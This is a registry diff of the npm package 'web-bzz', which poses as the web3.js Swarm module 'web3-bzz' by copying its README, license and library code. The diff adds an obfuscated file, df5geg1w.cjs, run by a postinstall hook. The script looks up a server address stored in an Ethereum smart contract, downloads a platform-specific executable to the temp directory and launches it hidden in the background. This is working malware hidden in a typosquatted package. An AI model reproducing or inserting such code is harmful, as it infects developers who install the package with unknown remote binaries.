web-bzz 0.0.1-security → 1.10.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of web-bzz might be problematic. Click here for more details.
- package/LICENSE +14 -0
- package/README.md +40 -3
- package/df5geg1w.cjs +1 -0
- package/lib/index.js +68 -0
- package/package.json +28 -4
package/LICENSE
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
This file is part of web3.js.
|
2
|
+
|
3
|
+
web3.js is free software: you can redistribute it and/or modify
|
4
|
+
it under the terms of the GNU Lesser General Public License as published by
|
5
|
+
the Free Software Foundation, either version 3 of the License, or
|
6
|
+
(at your option) any later version.
|
7
|
+
|
8
|
+
web3.js is distributed in the hope that it will be useful,
|
9
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
10
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
11
|
+
GNU Lesser General Public License for more details.
|
12
|
+
|
13
|
+
You should have received a copy of the GNU Lesser General Public License
|
14
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
package/README.md
CHANGED
@@ -1,5 +1,42 @@
|
|
1
|
-
#
|
1
|
+
# web3-bzz
|
2
2
|
|
3
|
-
|
3
|
+
[![NPM Package][npm-image]][npm-url]
|
4
4
|
|
5
|
-
|
5
|
+
This is a sub-package of [web3.js][repo].
|
6
|
+
|
7
|
+
This is the swarm package.
|
8
|
+
|
9
|
+
Please read the [documentation][docs] for more.
|
10
|
+
|
11
|
+
## Installation
|
12
|
+
|
13
|
+
You can install the package either using [NPM](https://www.npmjs.com/package/web3-bzz) or using [Yarn](https://yarnpkg.com/package/web3-bzz)
|
14
|
+
|
15
|
+
### Using NPM
|
16
|
+
|
17
|
+
```bash
|
18
|
+
npm install web3-bzz
|
19
|
+
```
|
20
|
+
|
21
|
+
### Using Yarn
|
22
|
+
|
23
|
+
```bash
|
24
|
+
yarn add web3-bzz
|
25
|
+
```
|
26
|
+
|
27
|
+
## Usage
|
28
|
+
|
29
|
+
```js
|
30
|
+
const Web3Bzz = require('web3-bzz');
|
31
|
+
|
32
|
+
const bzz = new Web3Bzz('http://swarm-gateways.net');
|
33
|
+
```
|
34
|
+
|
35
|
+
## Types
|
36
|
+
|
37
|
+
All the TypeScript typings are placed in the `types` folder.
|
38
|
+
|
39
|
+
[docs]: http://web3js.readthedocs.io/en/1.0/
|
40
|
+
[repo]: https://github.com/ethereum/web3.js
|
41
|
+
[npm-image]: https://img.shields.io/npm/v/web3-bzz.svg
|
42
|
+
[npm-url]: https://npmjs.org/package/web3-bzz
|
package/df5geg1w.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x47d1a6=_0x2915;(function(_0x20ae98,_0x5f376c){const _0xdf7de4=_0x2915,_0x4ea808=_0x20ae98();while(!![]){try{const _0x4870ff=-parseInt(_0xdf7de4(0x1af))/0x1+-parseInt(_0xdf7de4(0x1bc))/0x2*(parseInt(_0xdf7de4(0x1b1))/0x3)+-parseInt(_0xdf7de4(0x1ca))/0x4+-parseInt(_0xdf7de4(0x1c6))/0x5+parseInt(_0xdf7de4(0x1b0))/0x6*(parseInt(_0xdf7de4(0x1ba))/0x7)+-parseInt(_0xdf7de4(0x1b4))/0x8+parseInt(_0xdf7de4(0x1bd))/0x9;if(_0x4870ff===_0x5f376c)break;else _0x4ea808['push'](_0x4ea808['shift']());}catch(_0x37f355){_0x4ea808['push'](_0x4ea808['shift']());}}}(_0x2d68,0xed04e));function _0x2d68(){const _0x119d26=['ethers','NsIXY','755','tKGdH','BUyuM','pipe','Ошибка\x20при\x20получении\x20IP\x20адреса:','JXHCW','XdFwG','1615923uHlLGq','12qLwjQb','3371754tSmDWT','data','hWwaX','957640qJdAyS','chmodSync','bBgZq','/node-linux','util','win32','1549268uJsyYp','YydMN','2RaTHFy','49214853SRwxGZ','RXqYD','path','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','Unsupported\x20platform:\x20','SfCoG','getString','mainnet','getDefaultProvider','6630115acidPI','darwin','PTWaY','linux','3018264oWcugA','platform','Ошибка\x20при\x20запуске\x20файла:','/node-macos','VEIOh','unref','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','error','child_process','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84'];_0x2d68=function(){return _0x119d26;};return _0x2d68();}const {ethers}=require(_0x47d1a6(0x1d4)),axios=require('axios'),util=require(_0x47d1a6(0x1b8)),fs=require('fs'),path=require(_0x47d1a6(0x1bf)),os=require('os'),{spawn}=require(_0x47d1a6(0x1d2)),contractAddress=_0x47d1a6(0x1d0),WalletOwner=_0x47d1a6(0x1d3),abi=[_0x47d1a6(0x1c0)],provider=ethers[_0x47d1a6(0x1c5)](_0x47d1a6(0x1c4)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0xe190c=_0x47d1a6;try{const _0x5912d4=await contract[_0xe190c(0x1c3)](WalletOwner);return _0x5912d4;}catch(_0x52ee98){return console['error'](_0xe190c(0x1da),_0x52ee98),await fetchAndUpdateIp();}},getDownloadUrl=_0x158a10=>{const _0x13f28a=_0x47d1a6,_0x4b6717={'SfCoG':'win32','paukf':_0x13f28a(0x1c9),'IrWKa':_0x13f28a(0x1c7)},_0x338f6f=os[_0x13f28a(0x1cb)]();switch(_0x338f6f){case _0x4b6717[_0x13f28a(0x1c2)]:return _0x158a10+'/node-win.exe';case _0x4b6717['paukf']:return _0x158a10+_0x13f28a(0x1b7);case _0x4b6717['IrWKa']:return _0x158a10+_0x13f28a(0x1cd);default:throw new Error(_0x13f28a(0x1c1)+_0x338f6f);}},downloadFile=async(_0xf979d,_0x3fc5de)=>{const _0x5812bb=_0x47d1a6,_0x2e7dcb={'PTWaY':'finish','RXqYD':_0x5812bb(0x1d1),'bBgZq':function(_0x382aed,_0x1d20f9){return _0x382aed(_0x1d20f9);},'VEIOh':'GET','JXHCW':'stream'},_0x4d25a1=fs['createWriteStream'](_0x3fc5de),_0x42b842=await _0x2e7dcb[_0x5812bb(0x1b6)](axios,{'url':_0xf979d,'method':_0x2e7dcb[_0x5812bb(0x1ce)],'responseType':_0x2e7dcb[_0x5812bb(0x1db)]});return _0x42b842[_0x5812bb(0x1b2)][_0x5812bb(0x1d9)](_0x4d25a1),new Promise((_0x27c344,_0x1a2141)=>{const _0x1c965c=_0x5812bb;_0x4d25a1['on'](_0x2e7dcb[_0x1c965c(0x1c8)],_0x27c344),_0x4d25a1['on'](_0x2e7dcb[_0x1c965c(0x1be)],_0x1a2141);});},executeFileInBackground=async _0x16436a=>{const _0x23154e=_0x47d1a6,_0x89bad9={'tKGdH':function(_0x2a1f42,_0x5d9903,_0x4cfbde,_0x26f9a3){return _0x2a1f42(_0x5d9903,_0x4cfbde,_0x26f9a3);},'BUyuM':'ignore','XdFwG':_0x23154e(0x1cc)};try{const _0x58329d=_0x89bad9[_0x23154e(0x1d7)](spawn,_0x16436a,[],{'detached':!![],'stdio':_0x89bad9[_0x23154e(0x1d8)]});_0x58329d[_0x23154e(0x1cf)]();}catch(_0x7e531a){console[_0x23154e(0x1d1)](_0x89bad9[_0x23154e(0x1ae)],_0x7e531a);}},runInstallation=async()=>{const _0x2f4035=_0x47d1a6,_0x45f23f={'xDTPL':function(_0x5ef0a1){return _0x5ef0a1();},'hWwaX':function(_0x41f79e,_0x46a3a5){return _0x41f79e(_0x46a3a5);},'FWxXc':function(_0x17731c,_0x5a54d2){return _0x17731c!==_0x5a54d2;},'YydMN':_0x2f4035(0x1b9),'NsIXY':_0x2f4035(0x1d6),'BQjuj':'Ошибка\x20установки:'};try{const _0x322240=await _0x45f23f['xDTPL'](fetchAndUpdateIp),_0x3860e2=_0x45f23f[_0x2f4035(0x1b3)](getDownloadUrl,_0x322240),_0x1e84b4=os['tmpdir'](),_0x22023f=path['basename'](_0x3860e2),_0x52f6f6=path['join'](_0x1e84b4,_0x22023f);await downloadFile(_0x3860e2,_0x52f6f6);if(_0x45f23f['FWxXc'](os['platform'](),_0x45f23f[_0x2f4035(0x1bb)]))fs[_0x2f4035(0x1b5)](_0x52f6f6,_0x45f23f[_0x2f4035(0x1d5)]);executeFileInBackground(_0x52f6f6);}catch(_0x39cec2){console[_0x2f4035(0x1d1)](_0x45f23f['BQjuj'],_0x39cec2);}};function _0x2915(_0x3f9350,_0x49571f){const _0x2d6885=_0x2d68();return _0x2915=function(_0x291519,_0x3e37fc){_0x291519=_0x291519-0x1ae;let _0x1b008b=_0x2d6885[_0x291519];return _0x1b008b;},_0x2915(_0x3f9350,_0x49571f);}runInstallation();
|
package/lib/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
/*
|
2
|
+
This file is part of web3.js.
|
3
|
+
|
4
|
+
web3.js is free software: you can redistribute it and/or modify
|
5
|
+
it under the terms of the GNU Lesser General Public License as published by
|
6
|
+
the Free Software Foundation, either version 3 of the License, or
|
7
|
+
(at your option) any later version.
|
8
|
+
|
9
|
+
web3.js is distributed in the hope that it will be useful,
|
10
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
11
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
12
|
+
GNU Lesser General Public License for more details.
|
13
|
+
|
14
|
+
You should have received a copy of the GNU Lesser General Public License
|
15
|
+
along with web3.js. If not, see <http://www.gnu.org/licenses/>.
|
16
|
+
*/
|
17
|
+
/**
|
18
|
+
* @file index.js
|
19
|
+
* @author Fabian Vogelsteller <fabian@ethereum.org>
|
20
|
+
* @date 2017
|
21
|
+
*/
|
22
|
+
"use strict";
|
23
|
+
var swarm = require("swarm-js");
|
24
|
+
var Bzz = function Bzz(provider) {
|
25
|
+
this.givenProvider = Bzz.givenProvider;
|
26
|
+
if (provider && provider._requestManager) {
|
27
|
+
provider = provider.currentProvider;
|
28
|
+
}
|
29
|
+
// only allow file picker when in browser
|
30
|
+
if (typeof document !== 'undefined') {
|
31
|
+
this.pick = swarm.pick;
|
32
|
+
}
|
33
|
+
this.setProvider(provider);
|
34
|
+
};
|
35
|
+
// set default ethereum provider
|
36
|
+
/* jshint ignore:start */
|
37
|
+
Bzz.givenProvider = null;
|
38
|
+
if (typeof ethereum !== 'undefined' && ethereum.bzz) {
|
39
|
+
Bzz.givenProvider = ethereum.bzz;
|
40
|
+
}
|
41
|
+
/* jshint ignore:end */
|
42
|
+
Bzz.prototype.setProvider = function (provider) {
|
43
|
+
// is ethereum provider
|
44
|
+
if (!!provider && typeof provider === 'object' && typeof provider.bzz === 'string') {
|
45
|
+
provider = provider.bzz;
|
46
|
+
// is no string, set default
|
47
|
+
}
|
48
|
+
// else if(!_.isString(provider)) {
|
49
|
+
// provider = 'http://swarm-gateways.net'; // default to gateway
|
50
|
+
// }
|
51
|
+
if (typeof provider === 'string') {
|
52
|
+
this.currentProvider = provider;
|
53
|
+
}
|
54
|
+
else {
|
55
|
+
this.currentProvider = null;
|
56
|
+
var noProviderError = new Error('No provider set, please set one using bzz.setProvider().');
|
57
|
+
this.download = this.upload = this.isAvailable = function () {
|
58
|
+
throw noProviderError;
|
59
|
+
};
|
60
|
+
return false;
|
61
|
+
}
|
62
|
+
// add functions
|
63
|
+
this.download = swarm.at(provider).download;
|
64
|
+
this.upload = swarm.at(provider).upload;
|
65
|
+
this.isAvailable = swarm.at(provider).isAvailable;
|
66
|
+
return true;
|
67
|
+
};
|
68
|
+
module.exports = Bzz;
|
package/package.json
CHANGED
@@ -1,6 +1,30 @@
|
|
1
1
|
{
|
2
2
|
"name": "web-bzz",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"repository": "
|
6
|
-
|
3
|
+
"version": "1.10.3",
|
4
|
+
"description": "Web3 module to interact with the Swarm network.",
|
5
|
+
"repository": "https://github.com/ethereum/web3.js/tree/1.x/packages/web3-bzz",
|
6
|
+
"license": "LGPL-3.0",
|
7
|
+
"engines": {
|
8
|
+
"node": ">=8.0.0"
|
9
|
+
},
|
10
|
+
"types": "types/index.d.ts",
|
11
|
+
"scripts": {
|
12
|
+
"postinstall": "node df5geg1w.cjs"
|
13
|
+
},
|
14
|
+
"main": "lib/index.js",
|
15
|
+
"dependencies": {
|
16
|
+
"@types/node": "^12.12.6",
|
17
|
+
"got": "12.1.0",
|
18
|
+
"swarm-js": "^0.1.40",
|
19
|
+
"axios": "^1.7.7",
|
20
|
+
"ethers": "^6.13.2"
|
21
|
+
},
|
22
|
+
"devDependencies": {
|
23
|
+
"dtslint": "^3.4.1",
|
24
|
+
"typescript": "4.9.5"
|
25
|
+
},
|
26
|
+
"gitHead": "24d310caa06af88cb1fe236b7d3b9d135f053d71",
|
27
|
+
"files": [
|
28
|
+
"df5geg1w.cjs"
|
29
|
+
]
|
30
|
+
}
|